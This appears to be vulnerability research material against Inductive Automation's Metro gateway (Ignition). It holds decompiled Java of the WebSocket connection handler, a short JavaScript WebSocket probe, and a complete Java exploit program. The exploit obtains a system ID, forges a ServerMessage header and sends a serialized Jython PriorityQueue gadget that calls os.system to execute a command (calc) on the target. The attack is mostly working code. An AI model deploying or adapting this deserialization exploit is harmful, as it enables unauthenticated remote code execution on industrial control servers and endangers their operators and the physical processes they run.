public Object createWebSocket(JettyServerUpgradeRequest req, JettyServerUpgradeResponse resp) {
    String methodName = "createWebSocket";
    String remoteSystemName = null;
    String remoteUuid = "";
    boolean requestSecure = req.isSecure();
    if (this.useSsl && !requestSecure) {
        this.logger.debug("createWebSocket", "Incoming insecure websocket upgrade request is not allowed (SSL / TLS is required in settings)");
        return this.sendError(resp, 403, "Bad scheme");
    } else {
        HttpServletRequest httpServletRequest = req.getHttpServletRequest();
        int requestPort = httpServletRequest.getLocalPort();
        String protocol;
        int localPort;
        if (requestSecure) {
            protocol = "https";
            localPort = this.localHttpsPort;
        } else {
            protocol = "http";
            localPort = this.localHttpPort;
        }

        if (requestPort != localPort) {
            this.logger.debug("createWebSocket", String.format("Incoming %s request port %d is not allowed (expected %d)", protocol, requestPort, localPort));
            return this.sendError(resp, 403, "Bad port");
        } else {
            Map<String, List<String>> params = req.getParameterMap();
            List<String> nameParts = (List)params.get("name");
            if (nameParts.isEmpty()) {
                this.logger.error("createWebSocket", String.format("Request parameter '%s' was not sent during web socket connect request", "name"), (Throwable)null);
            } else {
                remoteSystemName = (String)nameParts.get(0);
            }

            List<String> urlParts = (List)params.get("url");
            String remoteAddr;
            if (urlParts.isEmpty()) {
                remoteAddr = String.format("Request parameter '%s' was not sent during web socket connect request", "url");
                this.logger.error("createWebSocket", remoteAddr, (Throwable)null);
                return this.sendError(resp, 400, remoteAddr);
            } else {
                String remoteSystemUrlStr = (String)urlParts.get(0);
                remoteAddr = httpServletRequest.getRemoteAddr();
                if (!remoteSystemUrlStr.contains(remoteAddr)) {
                    String[] split = remoteSystemUrlStr.split(":");
                    remoteSystemUrlStr = split[0] + "://" + remoteAddr + ":" + split[2];
                }

                URL remoteSystemUrl;
                try {
                    remoteSystemUrl = new URL(remoteSystemUrlStr);
                } catch (MalformedURLException var22) {
                    this.logger.error("createWebSocket", String.format("The URL request parameter '%s' is not a valid URL", remoteSystemUrlStr), (Throwable)null);
                    return this.sendError(resp, 400, "The URL request parameter is not a valid URL");
                }

                List<String> uuidParts = (List)params.get("uuid");
                if (uuidParts != null && !uuidParts.isEmpty()) {
                    remoteUuid = (String)uuidParts.get(0);
                }

                this.logger.debug("createWebSocket", String.format("Incoming connection from: '%s', remoteSystemName='%s', uuid='%s'", remoteSystemUrl, remoteSystemName, remoteUuid));
                RemoteSystemId remoteSystemId = StringUtils.isBlank(remoteUuid) ? new RemoteSystemIdURL(remoteSystemUrlStr, remoteSystemName) : new RemoteSystemIdUUID(remoteUuid, remoteSystemName);
                if (this.connectionSecurityPlugin != null) {
                    String securityMsg = this.connectionSecurityPlugin.checkConnection((RemoteSystemId)remoteSystemId, String.valueOf(remoteSystemUrl));
                    if (securityMsg.startsWith("SecurityFail:")) {
                        this.logger.debug("onConnect", securityMsg);

                        try {
                            resp.sendForbidden("Approval required");
                        } catch (IOException var21) {
                        }

                        return null;
                    }
                }

                MetroWebSocket newReceiver = new MetroWebSocket(this, (RemoteSystemId)remoteSystemId, remoteSystemUrl, Direction.Incoming, requestSecure);
                RemoteSystemIdUUID localId = new RemoteSystemIdUUID(this.getLocalSystemUUID(), this.getLocalSystemId());
                resp.setHeader("remoteSystemId", localId.toString());
                return newReceiver;
            }
        }
    }
}

<script>
    let socket = new WebSocket("ws://172.16.1.152:8088/system/ws-control-servlet?name=q&uuid=6a7e39e1-1ca4-405f-bfb3-6d971d6e7211&url=http://172.16.1.152:8088/system");
    socket.onopen = function (e) {
        alert("[open] Connection established");
        socket.send("My name is John");
    };

    socket.onmessage = function (event) {
        alert(`[message] Data received from server: ${event.data}`);
    };

    socket.onclose = function (event) {
        if (event.wasClean) {
            alert(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
        } else {
            // 例如服务器进程被杀死或网络中断
            // 在这种情况下，event.code 通常为 1006
            alert('[close] Connection died');
        }
    };

    socket.onerror = function (error) {
        alert(`[error] ${error.message}`);
    };
</script>

package org.example;

import org.python.core.PyMethod;
import org.python.core.PyObject;
import org.python.core.PyString;
import org.python.core.PyStringMap;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.time.Duration;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        String url = "http://172.16.1.152:8088";
        System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Connection,Upgrade");
        HttpClient httpClient = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(30))
//                .proxy(ProxySelector.of(InetSocketAddress.createUnresolved("127.0.0.1", 8080)))
                .build();
        String name = "qq";
        String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";
        HttpRequest request = HttpRequest.newBuilder()
                .uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))
                .GET()
                .header("Connection", "Upgrade").header("Sec-WebSocket-Version", "13").header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==").header("Upgrade", "websocket")
                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
                .build();
        HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
        List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");
        if (headerForRemoteSystemID.size() < 1) {
            System.out.println("[X] can't get remoteSystemId");
        }
        String remoteSystemId = headerForRemoteSystemID.get(0).split("\\|")[0];
        System.out.println("remoteSystemId=" + remoteSystemId);

        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        DataOutputStream dataOutputStream = new DataOutputStream(stream);
        dataOutputStream.writeInt(18753);   // magicBytes
        dataOutputStream.writeInt(1);       // protocolVersion

        // messageId
        dataOutputStream.writeShort(1);
        //opCode
        dataOutputStream.writeInt(1);
        //subCode
        dataOutputStream.writeInt(1);
        //flags
        dataOutputStream.writeByte(1);

        //senderId
        dataOutputStream.writeShort(name.length());
        // 这里和websocket中的name参数保持一致
        dataOutputStream.writeChars(name);
        //targetAddress
        dataOutputStream.writeShort(remoteSystemId.length());
        dataOutputStream.writeChars(remoteSystemId);

        //senderUrl
        dataOutputStream.writeShort(1);
        dataOutputStream.writeChar(47);

        // readObject for ServerMessage
        dataOutputStream.writeInt(1);

        Class<?> aClass = Class.forName("com.inductiveautomation.metro.impl.transport.ServerMessage$ServerMessageHeader");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[1];
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance("_conn_svr", "_js_");

        Field headersValues = o.getClass().getDeclaredField("headersValues");
        headersValues.setAccessible(true);
        HashMap map = (HashMap) headersValues.get(o);
        map.put("_source_", remoteSystemId);
        map.put("replyrequested", "true");

        byte[] bs = serialize(o);

        dataOutputStream.writeInt(bs.length);
        dataOutputStream.write(bs);

        // evil payload
        byte[] serialize = serialize(getObj("calc"));
        dataOutputStream.write(serialize);


        HttpRequest request1 = HttpRequest.newBuilder(URI.create(url + "/system/ws-datachannel-servlet"))
                .POST(HttpRequest.BodyPublishers.ofByteArray(stream.toByteArray()))
                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
                .build();
        HttpResponse<String> httpResponse = httpClient.send(request1, HttpResponse.BodyHandlers.ofString());
        System.out.println(httpResponse.body());

    }

    public static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(stream);
        objectOutputStream.writeObject(o);
        objectOutputStream.flush();
        objectOutputStream.flush();
        stream.flush();

        return stream.toByteArray();
    }

    public static Object getObj(String cmd) throws Exception {
        Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
        Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
        c.setAccessible(true);
        Object builtin = c.newInstance("rce", 18, 1);
        PyMethod handler = new PyMethod((PyObject) builtin, null, new PyString().getType());
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        HashMap<Object, PyObject> myargs = new HashMap<>();
        myargs.put("cmd", new PyString(cmd));
        PyStringMap locals = new PyStringMap(myargs);
        Object[] queue = new Object[]{new PyString("__import__('os').system(cmd)"), // attack
                locals,                                       // context
        };
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, queue);

        Field declaredField = priorityQueue.getClass().getDeclaredField("size");
        declaredField.setAccessible(true);
        declaredField.set(priorityQueue, 2);
        return priorityQueue;
    }
}